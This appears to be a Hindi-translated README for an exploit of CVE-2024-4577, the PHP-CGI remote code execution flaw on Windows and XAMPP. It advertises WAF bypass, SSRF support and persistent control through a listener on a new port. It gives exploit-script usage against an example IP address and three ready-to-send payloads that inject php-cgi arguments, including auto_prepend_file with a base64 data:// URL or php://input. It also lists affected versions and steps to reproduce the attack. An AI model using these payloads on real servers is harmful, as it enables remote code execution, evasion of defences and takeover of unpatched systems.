CVE-2024-4577-PHP-RCE

परियोजना परिचय और सिद्धांत

• पहला वैश्विक EXP जो PHP डिफ़ॉल्ट वातावरण (XAMPP) के CVE-2024-4577 PHP-CGI RCE भेद्यता का उपयोग करता है।
• दुनिया का पहला CVE-2024-4577 PHP-CGI RCE शोषण जो डिफ़ॉल्ट PHP वातावरण का उपयोग करता है। मूल शोषण साझा करना, SSRF का समर्थन करता है, WAF बाईपास का समर्थन करता है।
• PHP डिफ़ॉल्ट वातावरण RCE को लागू करता है। सिद्धांत: cgi.force_redirect + REDIRECT-STATUS।
• नया मूल EXP जो WAF बाईपास परिदृश्य का समर्थन करता है। सिद्धांत: FastCGI सर्वर स्थापित करें + FastCGI प्रोटोकॉल संचार।
• नया मूल EXP जो SSRF परिदृश्य का समर्थन करता है। सिद्धांत: data:// प्रोटोकॉल + GET अनुरोध।

EXP 1 के लाभ

• allow_url_include, auto_prepend_file, auto_append_file की आवश्यकता के बिना RCE। किसी भी फाइल और php फाइल को शामिल किया जा सकता है।
• WAF द्वारा अक्सर अवरुद्ध किए जाने वाले कीवर्ड allow_url_include, auto_prepend_file, auto_append_file का उपयोग नहीं होता।
• FastCGI सर्वर का सभी संचार WAF द्वारा रिकॉर्ड नहीं किया जाएगा।
• नए पोर्ट पर सुनना, इस प्रकार PHP सर्वर पर स्थायी नियंत्रण प्राप्त करना, Apache और PHP से स्वतंत्र।

भेद्यता परिचय

जानकारी	सामग्री
भेद्यता का नाम	PHP RCE
भेद्यता संख्या	CVE-2024-4577
जोखिम स्तर	उच्च जोखिम
भेद्यता प्रकार	RCE
उपयोग की कठिनाई	कम

प्रभावित संस्करण

• PHP Windows संस्करण 8.3.0 <= प्रभावित संस्करण < 8.3.8
• PHP Windows संस्करण 8.2.0 <= प्रभावित संस्करण < 8.2.20
• PHP Windows संस्करण 8.1.0 <= प्रभावित संस्करण < 8.1.29
• PHP Windows संस्करण प्रभावित संस्करण == 8.0.x
• PHP Windows संस्करण प्रभावित संस्करण == 7.x
• PHP Windows संस्करण प्रभावित संस्करण == 5.x
• XAMPP Windows संस्करण 8.2.0 <= प्रभावित संस्करण <= 8.2.12
• XAMPP Windows संस्करण 8.1.0 <= प्रभावित संस्करण <= 8.1.25
• XAMPP Windows संस्करण प्रभावित संस्करण == 8.0.x
• XAMPP Windows संस्करण प्रभावित संस्करण == 7.x
• XAMPP Windows संस्करण प्रभावित संस्करण == 5.x

EXP 1

WAF बाईपास परिदृश्य + डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

उदाहरण:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

SSRF परिदृश्य + डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

डिफ़ॉल्ट परिदृश्य में उपयोग किया जा सकता है:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

पुनरुत्पादन

1. सर्वर वातावरण:

XAMPP Windows版 8.2.12

2. सर्वर डाउनलोड करें और XAMPP स्थापित करें:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

या यहाँ से प्रभावित संस्करण चुनें: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. सर्वर कॉन्फ़िगरेशन:

कोई भी संशोधन न करें, डिफ़ॉल्ट कॉन्फ़िगरेशन रखें

4. क्लाइंट द्वारा EXP का उपयोग:

उपरोक्त EXP का उपयोग करके परीक्षण करें

5. सत्यापन:

जांचें कि क्या स्ट्रिंग "TesT" या सर्वर की system.ini फ़ाइल की सामग्री वापस आती है